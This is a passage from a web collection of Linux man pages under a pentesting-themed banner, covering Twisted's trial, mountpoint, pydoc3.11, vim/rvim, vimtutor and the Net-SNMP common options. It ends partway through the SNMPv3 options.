WARNING: Do not use this option unless you know what you are doing. By default, trial creates a directory called _trial_temp under the current working directory. When trial runs, it first deletes this directory, then creates it, then changes into the directory to run the tests. The log file and any coverage files are stored here. Use this option if you wish to have trial run in a directory other than _trial_temp. Be warned, trial will delete the directory before re-creating it.

–testmodule filename
Ask trial to look into filename and run any tests specified using the Emacs-style buffer variable `test-case-name'.

–unclean-warnings
As of Twisted 8.0, trial will report an error if the reactor is left unclean at the end of the test. This option is provided to assist in migrating from Twisted 2.5 to Twisted 8.0 and later. Enabling this option will turn the errors into warnings.

-u, –until-failure
Keep looping the tests until one of them raises an error or a failure. This is particularly useful for reproducing intermittent failures.

–version
Prints the Twisted version number and exit.

–without-module modulenames
Simulate the lack of the specified comma-separated list of modules. This makes it look like the modules are not present in the system, causing tests to check the behavior for that configuration.

-z, –random seed
Run the tests in random order using the specified seed. Don’t pass this option if you also are passing –order.

SEE ALSO

The latest version of the trial documentation can be found at http://twistedmatrix.com/documents/current/core/howto/testing.html

AUTHOR

Written by Jonathan M. Lange

REPORTING BUGS

To report a bug, visit http://twistedmatrix.com/trac/newticket

COPYRIGHT

Copyright © 2003-2013 Twisted Matrix Laboratories
This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1600 - Linux cli command mountpoint

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mountpoint and provides detailed information about the command mountpoint, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mountpoint.

NAME 🖥️ mountpoint 🖥️

see if a directory or file is a mountpoint

SYNOPSIS

mountpoint [-d|-q] directory|file

mountpoint -x device

DESCRIPTION

mountpoint checks whether the given directory or file is mentioned in the /proc/self/mountinfo file.

OPTIONS

-d, –fs-devno

Show the major/minor numbers of the device that is mounted on the given directory.

-q, –quiet

Be quiet - don’t print anything.

–nofollow

Do not follow symbolic link if it the last element of the directory path.

-x, –devno

Show the major/minor numbers of the given blockdevice on standard output.

-h, –help

Display help text and exit.

-V, –version

Print version and exit.

EXIT STATUS

mountpoint has the following exit status values:

0

success; the directory is a mountpoint, or device is block device on –devno

1

failure; incorrect invocation, permissions or system error

32

failure; the directory is not a mountpoint, or device is not a block device on –devno

ENVIRONMENT

LIBMOUNT_DEBUG=all

enables libmount debug output.

NOTES

The util-linux mountpoint implementation was written from scratch for libmount. The original version for sysvinit suite was written by Miquel van Smoorenburg.

AUTHORS

SEE ALSO

mount(8)

REPORTING BUGS

For bug reports, use the issue tracker at <https://github.com/util-linux/util-linux/issues>.

AVAILABILITY

The mountpoint command is part of the util-linux package which can be downloaded from Linux Kernel Archive <https://www.kernel.org/pub/linux/utils/util-linux/>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1601 - Linux cli command pydoc31

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pydoc31 and provides detailed information about the command pydoc31, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pydoc31.

NAME 🖥️ pydoc31 🖥️

the Python documentation tool

SYNOPSIS

pydoc3.11 name

pydoc3.11 -k keyword

pydoc3.11 -p port

pydoc3.11 -g

pydoc3.11 -w module […]

DESCRIPTION

pydoc3.11 name Show text documentation on something. name may be the name of a Python keyword, topic, function, module, or package, or a dotted reference to a class or function within a module or module in a package. If name contains a ‘/’, it is used as the path to a Python source file to document. If name is ‘keywords’, ’topics’, or ‘modules’, a listing of these things is displayed.

pydoc3.11 -k keyword Search for a keyword in the synopsis lines of all available modules.

pydoc3.11 -p port Start an HTTP server on the given port on the local machine.

pydoc3.11 -g Pop up a graphical interface for finding and serving documentation.

pydoc3.11 -w name […] Write out the HTML documentation for a module to a file in the current directory. If name contains a ‘/’, it is treated as a filename; if it names a directory, documentation is written for all the contents.

AUTHOR

Moshe Zadka, based on “pydoc –help”

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1602 - Linux cli command rvim

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command rvim and provides detailed information about the command rvim, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the rvim.

NAME 🖥️ rvim 🖥️

Vi IMproved, a programmer’s text editor

SYNOPSIS

vim [options] [file ..]
vim [options] -
vim [options] -t tag
vim [options] -q [errorfile]

ex
view
gvim gview evim eview
rvim rview rgvim rgview

DESCRIPTION

Vim is a text editor that is upwards compatible to Vi. It can be used to edit all kinds of plain text. It is especially useful for editing programs.

There are a lot of enhancements above Vi: multi level undo, multi windows and buffers, syntax highlighting, command line editing, filename completion, on-line help, visual selection, etc.. See “:help vi_diff.txt” for a summary of the differences between Vim and Vi.

While running Vim a lot of help can be obtained from the on-line help system, with the “:help” command. See the ON-LINE HELP section below.

Most often Vim is started to edit a single file with the command

vim file

More generally Vim is started with:

vim [options] [filelist]

If the filelist is missing, the editor will start with an empty buffer. Otherwise exactly one out of the following four may be used to choose one or more files to be edited.

file ..
A list of filenames. The first one will be the current file and read into the buffer. The cursor will be positioned on the first line of the buffer. You can get to the other files with the “:next” command. To edit a file that starts with a dash, precede the filelist with “–”.

-
The file to edit is read from stdin. Commands are read from stderr, which should be a tty.

-t {tag}
The file to edit and the initial cursor position depends on a “tag”, a sort of goto label. {tag} is looked up in the tags file, the associated file becomes the current file and the associated command is executed. Mostly this is used for C programs, in which case {tag} could be a function name. The effect is that the file containing that function becomes the current file and the cursor is positioned on the start of the function. See “:help tag-commands”.

-q [errorfile]
Start in quickFix mode. The file [errorfile] is read and the first error is displayed. If [errorfile] is omitted, the filename is obtained from the ’errorfile’ option (defaults to “AztecC.Err” for the Amiga, “errors.err” on other systems). Further errors can be jumped to with the “:cn” command. See “:help quickfix”.

Vim behaves differently, depending on the name of the command (the executable may still be the same file).

vim
The “normal” way, everything is default.

ex
Start in Ex mode. Go to Normal mode with the “:vi” command. Can also be done with the “-e” argument.

view
Start in read-only mode. You will be protected from writing the files. Can also be done with the “-R” argument.

gvim gview
The GUI version. Starts a new window. Can also be done with the “-g” argument.

evim eview
The GUI version in easy mode. Starts a new window. Can also be done with the “-y” argument.

rvim rview rgvim rgview
Like the above, but with restrictions. It will not be possible to start shell commands, or suspend Vim. Can also be done with the “-Z” argument.

OPTIONS

The options may be given in any order, before or after filenames. Options without an argument can be combined after a single dash.

+[num]
For the first file the cursor will be positioned on line “num”. If “num” is missing, the cursor will be positioned on the last line.

+/{pat}
For the first file the cursor will be positioned in the line with the first occurrence of {pat}. See “:help search-pattern” for the available search patterns.

+{command}
-c {command}
{command} will be executed after the first file has been read. {command} is interpreted as an Ex command. If the {command} contains spaces it must be enclosed in double quotes (this depends on the shell that is used). Example: vim “+set si” main.c
Note: You can use up to 10 “+” or “-c” commands.

-S {file}
{file} will be sourced after the first file has been read. This is equivalent to -c “source {file}”. {file} cannot start with ‘-’. If {file} is omitted “Session.vim” is used (only works when -S is the last argument).

–cmd {command}
Like using “-c”, but the command is executed just before processing any vimrc file. You can use up to 10 of these commands, independently from “-c” commands.

-A
If Vim has been compiled with ARABIC support for editing right-to-left oriented files and Arabic keyboard mapping, this option starts Vim in Arabic mode, i.e. ‘arabic’ is set. Otherwise an error message is given and Vim aborts.

-b
Binary mode. A few options will be set that makes it possible to edit a binary or executable file.

-C
Compatible. Set the ‘compatible’ option. This will make Vim behave mostly like Vi, even though a .vimrc file exists.

-d
Start in diff mode. There should between two to eight file name arguments. Vim will open all the files and show differences between them. Works like vimdiff(1).

-d {device}, -dev {device}
Open {device} for use as a terminal. Only on the Amiga. Example: “-d con:20/30/600/150”.

-D
Debugging. Go to debugging mode when executing the first command from a script.

-e
Start Vim in Ex mode, just like the executable was called “ex”.

-E
Start Vim in improved Ex mode, just like the executable was called “exim”.

-f
Foreground. For the GUI version, Vim will not fork and detach from the shell it was started in. On the Amiga, Vim is not restarted to open a new window. This option should be used when Vim is executed by a program that will wait for the edit session to finish (e.g. mail). On the Amiga the “:sh” and “:!” commands will not work.

–nofork
Foreground. For the GUI version, Vim will not fork and detach from the shell it was started in.

-F
If Vim has been compiled with FKMAP support for editing right-to-left oriented files and Farsi keyboard mapping, this option starts Vim in Farsi mode, i.e. ‘fkmap’ and ‘rightleft’ are set. Otherwise an error message is given and Vim aborts.

-g
If Vim has been compiled with GUI support, this option enables the GUI. If no GUI support was compiled in, an error message is given and Vim aborts.

–gui-dialog-file {name}
When using the GUI, instead of showing a dialog, write the title and message of the dialog to file {name}. The file is created or appended to. Only useful for testing, to avoid that the test gets stuck on a dialog that can’t be seen. Without the GUI the argument is ignored.

–help, -h, -?
Give a bit of help about the command line arguments and options. After this Vim exits.

-H
If Vim has been compiled with RIGHTLEFT support for editing right-to-left oriented files and Hebrew keyboard mapping, this option starts Vim in Hebrew mode, i.e. ‘hkmap’ and ‘rightleft’ are set. Otherwise an error message is given and Vim aborts.

-i {viminfo}
Specifies the filename to use when reading or writing the viminfo file, instead of the default “~/.viminfo”. This can also be used to skip the use of the .viminfo file, by giving the name “NONE”.

-L
Same as -r.

-l
Lisp mode. Sets the ’lisp’ and ‘showmatch’ options on.

-m
Modifying files is disabled. Resets the ‘write’ option. You can still modify the buffer, but writing a file is not possible.

-M
Modifications not allowed. The ‘modifiable’ and ‘write’ options will be unset, so that changes are not allowed and files can not be written. Note that these options can be set to enable making modifications.

-N
No-compatible mode. Resets the ‘compatible’ option. This will make Vim behave a bit better, but less Vi compatible, even though a .vimrc file does not exist.

-n
No swap file will be used. Recovery after a crash will be impossible. Handy if you want to edit a file on a very slow medium (e.g. floppy). Can also be done with “:set uc=0”. Can be undone with “:set uc=200”.

-nb
Become an editor server for NetBeans. See the docs for details.

-o[N]
Open N windows stacked. When N is omitted, open one window for each file.

-O[N]
Open N windows side by side. When N is omitted, open one window for each file.

-p[N]
Open N tab pages. When N is omitted, open one tab page for each file.

-P {parent-title}
Win32 GUI only: Specify the title of the parent application. When possible, Vim will run in an MDI window inside the application. {parent-title} must appear in the window title of the parent application. Make sure that it is specific enough. Note that the implementation is still primitive. It won’t work with all applications and the menu doesn’t work.

-R
Read-only mode. The ‘readonly’ option will be set. You can still edit the buffer, but will be prevented from accidentally overwriting a file. If you do want to overwrite a file, add an exclamation mark to the Ex command, as in “:w!”. The -R option also implies the -n option (see above). The ‘readonly’ option can be reset with “:set noro”. See “:help ‘readonly’”.

-r
List swap files, with information about using them for recovery.

-r {file}
Recovery mode. The swap file is used to recover a crashed editing session. The swap file is a file with the same filename as the text file with “.swp” appended. See “:help recovery”.

-s
Silent mode. Only when started as “Ex” or when the “-e” option was given before the “-s” option.

-s {scriptin}
The script file {scriptin} is read. The characters in the file are interpreted as if you had typed them. The same can be done with the command “:source! {scriptin}”. If the end of the file is reached before the editor exits, further characters are read from the keyboard.

-T {terminal}
Tells Vim the name of the terminal you are using. Only required when the automatic way doesn’t work. Should be a terminal known to Vim (builtin) or defined in the termcap or terminfo file.

–not-a-term
Tells Vim that the user knows that the input and/or output is not connected to a terminal. This will avoid the warning and the two second delay that would happen.

–ttyfail
When stdin or stdout is not a a terminal (tty) then exit right away.

-u {vimrc}
Use the commands in the file {vimrc} for initializations. All the other initializations are skipped. Use this to edit a special kind of files. It can also be used to skip all initializations by giving the name “NONE”. See “:help initialization” within vim for more details.

-U {gvimrc}
Use the commands in the file {gvimrc} for GUI initializations. All the other GUI initializations are skipped. It can also be used to skip all GUI initializations by giving the name “NONE”. See “:help gui-init” within vim for more details.

-V[N]
Verbose. Give messages about which files are sourced and for reading and writing a viminfo file. The optional number N is the value for ‘verbose’. Default is 10.

-V[N]{filename}
Like -V and set ‘verbosefile’ to {filename}. The result is that messages are not displayed but written to the file {filename}. {filename} must not start with a digit.

–log {filename}
If Vim has been compiled with eval and channel feature, start logging and write entries to {filename}. This works like calling ch_logfile({filename}, ‘ao’) very early during startup.

-v
Start Vim in Vi mode, just like the executable was called “vi”. This only has effect when the executable is called “ex”.

-w{number}
Set the ‘window’ option to {number}.

-w {scriptout}
All the characters that you type are recorded in the file {scriptout}, until you exit Vim. This is useful if you want to create a script file to be used with “vim -s” or “:source!”. If the {scriptout} file exists, characters are appended.

-W {scriptout}
Like -w, but an existing file is overwritten.

-x
Use encryption when writing files. Will prompt for a crypt key.

-X
Don’t connect to the X server. Shortens startup time in a terminal, but the window title and clipboard will not be used.

-y
Start Vim in easy mode, just like the executable was called “evim” or “eview”. Makes Vim behave like a click-and-type editor.

-Z
Restricted mode. Works like the executable starts with “r”.


Denotes the end of the options. Arguments after this will be handled as a file name. This can be used to edit a filename that starts with a ‘-’.

–clean
Do not use any personal configuration (vimrc, plugins, etc.). Useful to see if a problem reproduces with a clean Vim setup.

–echo-wid
GTK GUI only: Echo the Window ID on stdout.

–literal
Take file name arguments literally, do not expand wildcards. This has no effect on Unix where the shell expands wildcards.

–noplugin
Skip loading plugins. Implied by -u NONE.

–remote
Connect to a Vim server and make it edit the files given in the rest of the arguments. If no server is found a warning is given and the files are edited in the current Vim.

–remote-expr {expr}
Connect to a Vim server, evaluate {expr} in it and print the result on stdout.

–remote-send {keys}
Connect to a Vim server and send {keys} to it.

–remote-silent
As –remote, but without the warning when no server is found.

–remote-wait
As –remote, but Vim does not exit until the files have been edited.

–remote-wait-silent
As –remote-wait, but without the warning when no server is found.

–serverlist
List the names of all Vim servers that can be found.

–servername {name}
Use {name} as the server name. Used for the current Vim, unless used with a –remote argument, then it’s the name of the server to connect to.

–socketid {id}
GTK GUI only: Use the GtkPlug mechanism to run gvim in another window.

–startuptime {file}
During startup write timing messages to the file {fname}.

–version
Print version information and exit.

–windowid {id}
Win32 GUI only: Make gvim try to use the window {id} as a parent, so that it runs inside that window.

ON-LINE HELP

Type “:help” in Vim to get started. Type “:help subject” to get help on a specific subject. For example: “:help ZZ” to get help for the “ZZ” command. Use <Tab> and CTRL-D to complete subjects (":help cmdline-completion"). Tags are present to jump from one place to another (sort of hypertext links, see “:help”). All documentation files can be viewed in this way, for example “:help syntax.txt”.

FILES

/usr/local/share/vim/vim??/doc/*.txt
The Vim documentation files. Use “:help doc-file-list” to get the complete list.
vim?? is short version number, like vim91 for Vim 9.1

/usr/local/share/vim/vim??/doc/tags
The tags file used for finding information in the documentation files.

/usr/local/share/vim/vim??/syntax/syntax.vim
System wide syntax initializations.

/usr/local/share/vim/vim??/syntax/*.vim
Syntax files for various languages.

/usr/local/share/vim/vimrc
System wide Vim initializations.

~/.vimrc, ~/.vim/vimrc, $XDG_CONFIG_HOME/vim/vimrc
Your personal Vim initializations (first one found is used).

/usr/local/share/vim/gvimrc
System wide gvim initializations.

~/.gvimrc, ~/.vim/gvimrc, $XDG_CONFIG_HOME/vim/gvimrc
Your personal gvim initializations (first one found is used).

/usr/local/share/vim/vim??/optwin.vim
Script used for the “:options” command, a nice way to view and set options.

/usr/local/share/vim/vim??/menu.vim
System wide menu initializations for gvim.

/usr/local/share/vim/vim??/bugreport.vim
Script to generate a bug report. See “:help bugs”.

/usr/local/share/vim/vim??/filetype.vim
Script to detect the type of a file by its name. See “:help ‘filetype’”.

/usr/local/share/vim/vim??/scripts.vim
Script to detect the type of a file by its contents. See “:help ‘filetype’”.

/usr/local/share/vim/vim??/print/*.ps
Files used for PostScript printing.

For recent info read the VIM home page:
<URL:http://www.vim.org/>

SEE ALSO

vimtutor(1)

AUTHOR

Most of Vim was made by Bram Moolenaar, with a lot of help from others. See “:help credits” in Vim.
Vim is based on Stevie, worked on by: Tim Thompson, Tony Andrews and G.R. (Fred) Walter. Although hardly any of the original code remains.

BUGS

Probably. See “:help todo” for a list of known problems.

Note that a number of things that may be regarded as bugs by some, are in fact caused by a too-faithful reproduction of Vi’s behaviour. And if you think other things are bugs “because Vi does it differently”, you should take a closer look at the vi_diff.txt file (or type :help vi_diff.txt when in Vim). Also have a look at the ‘compatible’ and ‘cpoptions’ options.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1603 - Linux cli command vimtutor

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command vimtutor and provides detailed information about the command vimtutor, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the vimtutor.

NAME 🖥️ vimtutor 🖥️

the Vim tutor

SYNOPSIS

vimtutor [-g] [language]

DESCRIPTION

Vimtutor starts the Vim tutor. It copies the tutor file first, so that it can be modified without changing the original file.

The Vimtutor is useful for people that want to learn their first Vim commands.

The optional argument -g starts vimtutor with gvim rather than vim, if the GUI version of vim is available, or falls back to Vim if gvim is not found.

The optional [language] argument is the two-letter name of a language, like “it” or “es”. If the [language] argument is missing, the language of the current locale will be used. If a tutor in this language is available, it will be used. Otherwise the English version will be used.

Vim is always started in Vi compatible mode.

FILES

/usr/share/vim/vim91/tutor/tutor[.language]
The Vimtutor text file(s).

/usr/share/vim/vim91/tutor/tutor.vim
The Vim script used to copy the Vimtutor text file.

AUTHOR

The Vimtutor was originally written for Vi by Michael C. Pierce and Robert K. Ware, Colorado School of Mines using ideas supplied by Charles Smith, Colorado State University. E-mail: [email protected] (now invalid).
It was modified for Vim by Bram Moolenaar. For the names of the translators see the tutor files.

SEE ALSO

vim(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1604 - Linux cli command snmpcmd

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command snmpcmd and provides detailed information about the command snmpcmd, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the snmpcmd.

NAME 🖥️ snmpcmd 🖥️

options and behaviour common to most of the Net-SNMP command-line tools

SYNOPSIS

snmpcmd [OPTIONS] AGENT [PARAMETERS]

DESCRIPTION

This manual page describes the common options for the SNMP commands: snmpbulkget, snmpbulkwalk, snmpdelta, snmpget, snmpgetnext, snmpnetstat, snmpset, snmpstatus, snmptable, snmptest, snmptrap", ** snmpdf**,** snmpusm , snmpwalk ."** The command line applications use the SNMP protocol to communicate with an SNMP capable network entity, an agent. Individual applications typically (but not necessarily) take additional parameters that are given after the agent specification. These parameters are documented in the manual pages for each application.

COMMAND-LINE CONFIG OPTIONS

In addition to the options described in this manual page, all of the tokens described in the snmp.conf and other .conf manual pages can be used on the command line of Net-SNMP applications as well by prefixing them with “–”. EG, specifying –dontLoadHostConfig=true on the command line will turn off loading of the host specific configuration files.

The snmp.conf file settings and the double-dash arguments over-ride the single-dash arguments. So it’s important to note that if single-dash arguments aren’t working because you have settings in the snmp.conf file that conflict with them then you’ll need to use the longer-form double-dash arguments to successfully trump the snmp.conf file settings.

Generic Options

These options control how the Net-SNMP commands behave regardless of what version of SNMP you are using. See further below for options that control specific versions or sub-modules of the SNMP protocol.

-d
Dump (in hexadecimal) the raw SNMP packets sent and received.

-D[TOKEN[,…]]**
Turn on debugging output for the given TOKEN(s). Try ALL for extremely verbose output.

-h, –help
Display a brief usage message and then exit.

-H
Display a list of configuration file directives understood by the command and then exit.

-I* [brRhu]*
Specifies input parsing options. See INPUT OPTIONS below.

-L* [eEfFoOsS]*
Specifies output logging options. See LOGGING OPTIONS below.

-m* MIBLIST*
Specifies a colon separated list of MIB modules (not files) to load for this application. This overrides (or augments) the environment variable MIBS, the snmp.conf directive mibs, and the list of MIBs hardcoded into the Net-SNMP library.

If MIBLIST has a leading ‘-’ or ‘+’ character, then the MIB modules listed are loaded in addition to the default list, coming before or after this list respectively. Otherwise, the specified MIBs are loaded instead of this default list.

The special keyword ALL is used to load all MIB modules in the MIB directory search list. Every file whose name does not begin with “.” will be parsed as if it were a MIB file.

-M* DIRLIST*
Specifies a colon separated list of directories to search for MIBs. This overrides (or augments) the environment variable MIBDIRS, the snmp.conf directive mibdirs, and the default directory hardcoded into the Net-SNMP library (/usr/share/snmp/mibs).

If DIRLIST has a leading ‘-’ or ‘+’ character, then the given directories are added to the default list, being searched before or after the directories on this list respectively. Otherwise, the specified directories are searched instead of this default list.

Note that the directories appearing later in the list have have precedence over earlier ones. To avoid searching any MIB directories, set the MIBDIRS environment variable to the empty string ("").

Note that MIBs specified using the -m option or the mibs configuration directive will be loaded from one of the directories listed by the -M option (or equivalents). The mibfile directive takes a full path to the specified MIB file, so this does not need to be in the MIB directory search list.

-v 1 | 2c | 3
Specifies the protocol version to use: 1 (RFCs 1155-1157), 2c (RFCs 1901-1908), or 3 (RFCs 2571-2574). The default is typically version 3. Overrides the defVersion token in the snmp.conf file. -O* [abeEfnqQsStTuUvxX]* Specifies output printing options. See OUTPUT OPTIONS below.

-P* [cdeRuwW]*
Specifies MIB parsing options. See MIB PARSING OPTIONS below.

-r* retries*
Specifies the number of retries to be used in the requests. The default is 5.

-t* timeout*
Specifies the timeout in seconds between retries. The default is 1. Floating point numbers can be used to specify fractions of seconds.

-V, –version
Display version information for the application and then exit.

-Yname**=“value”**
name=“value”
Allows one to specify any token (“name”) supported in the snmp.conf file and sets its value to “value”. Overrides the corresponding token in the snmp.conf file. See snmp.conf(5) for the full list of tokens.

SNMPv3 Options

The following options are generic to all forms of SNMPv3, regardless of whether it’s the original SNMPv3 with USM or the newer SNMPv3 over (D)TLS support.

-l* secLevel*
Set the securityLevel used for SNMPv3 messages (noAuthNoPriv|authNoPriv|authPriv). Appropriate pass phrase(s) must provided when using any level higher than noAuthNoPriv. Overrides the defSecurityLevel token in the snmp.conf file.

-n* contextName*
Set the contextName used for SNMPv3 messages. The default contextName is the empty string “”. Overrides the defContext token in the snmp.conf file.

SNMPv3 over TLS Options

These options pass transport-specific parameters to the TLS layer. If you’re using SNMP over TLS or DTLS you’ll need to pass a combination of these either through these command line options or through snmp.conf configuration tokens.

A note about <certificate-specifier>s : Net-SNMP looks for X.509 certificates in each of the normal SNMP configuration directory search paths under a “tls” subdirectory. IE, it will look in ~/.snmp/tls and in /usr/local/share/snmp/tls for certificates. The certificate components (eg, the public and private halves) are stored in sub-directories underneath this root set of directories. See the net-snmp-cert tool for help in importing, creating and managing Net-SNMP certificates. <certificate-specifier>s can reference either a fingerprint of the certificate to use (the net-snmp-cert tool can help you figure out the certificates) or the filename’s prefix can be used. For example, if you had a “snmpd.crt” certificate file then you could simply refer to the certificate via the “snmpd” specifier.

-T localCert=<certificate-specifier>
Indicates to the transport which key should be used to initiate (D)TLS client connections. This would typically be a certificate found using the certificate fingerprint, the application name (eg snmpd, snmptrapd, perl, python) or genericized name “snmpapp” if using one of the generic applications (snmpget, snmpwalk, etc). This can also be set using the localCert specifier in a snmp.conf configuration file.

-T peerCert=<certificate-specifier>
If you expect a particular certificate to be presented by the other side then you can use this specifier to indicate the certificate it should present. If it fails to present the expected certificate the client will refuse to open the connection (because doing otherwise could lead to man-in-the-middle attacks). This can also be set using the peerCert specifier in a snmp.conf configuration file.

-T trust_cert=<certificate-specifier>
If you have a trusted CA certificate you wish to anchor trust with, you can use this flag to load a given certificate as a trust anchor. A copy of the certificate must exist within the Net-SNMP certificate storage system or this must point to a complete path name. Also see the “trustCert” snmp.conf configuration token.

-T their_hostname=<name>
If the server’s presented certificate can be validating using a trust anchor then their hostname will be checked to ensure their presented hostname matches one that is expected (you don’t want to connect to goodhost.example.com and accept a certificate presented by badhost.example.com do you?). This token can specify the exact host name expected to be presented by the remote side, either in a subjectAltName field or in the CommonName field of the server’s X.509 certificate.

SNMPv3 with USM Options

These options are specific to using SNMPv3 with the original User-based Security Model (USM).

-3[MmKk] 0xHEXKEY
Sets the keys to be used for SNMPv3 transactions. These options allow you to set the master authentication and encryption keys (-3m and -3M respectively) or set the localized authentication and encryption keys (-3k and -3K respectively). SNMPv3 keys can be either passed in by hand using these flags, or by the use of keys generated from passwords using the -A and -X flags discussed below. For further details on SNMPv3 and its usage of keying information, see the Net-SNMP tutorial web site ( http://www.Net-SNMP.org/tutorial-5/commands/ ). Overrides the defAuthMasterKey (-3m), defPrivMasterKey (-3M), defAuthLocalizedKey (-3k) or defPrivLocalizedKey (-3K) tokens, respectively, in the snmp.conf file, see snmp.conf(5).

-a* authProtocol*
Set the authentication protocol (MD5|SHA|SHA-512|SHA-384|SHA-256|SHA-224) used for authenticated SNMPv3 messages. Overrides the defAuthType token in the snmp.conf file.

-A* authPassword*
Set the authentication pass phrase used for authenticated SNMPv3 messages. Overrides the defAuthPassphrase token in the snmp.conf file. It is insecure to specify pass phrases on the command line, see snmp.conf(5).

-e* engineID*
Set the authoritative (security) engineID used for SNMPv3 REQUEST messages, given as a hexadecimal string (optionally prefixed by “0x”). It is typically not necessary to specify this engine ID, as it will usually be discovered automatically.

-E* engineID*
